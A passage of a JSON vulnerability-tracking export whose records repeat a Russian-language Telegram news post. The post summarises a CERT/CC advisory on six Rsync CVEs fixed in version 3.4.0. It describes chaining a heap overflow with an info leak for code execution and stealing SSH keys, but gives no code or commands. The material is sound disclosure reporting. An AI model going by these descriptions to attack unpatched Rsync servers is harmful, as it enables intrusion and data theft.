\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:01:59.965056Z"}, {"uuid": "4f9b1cd7-c4dd-425a-bd57-dd5b490cbf8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:02:00.017969Z"}, {"uuid": "dabe9d60-047a-4875-939f-76b8fc616632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 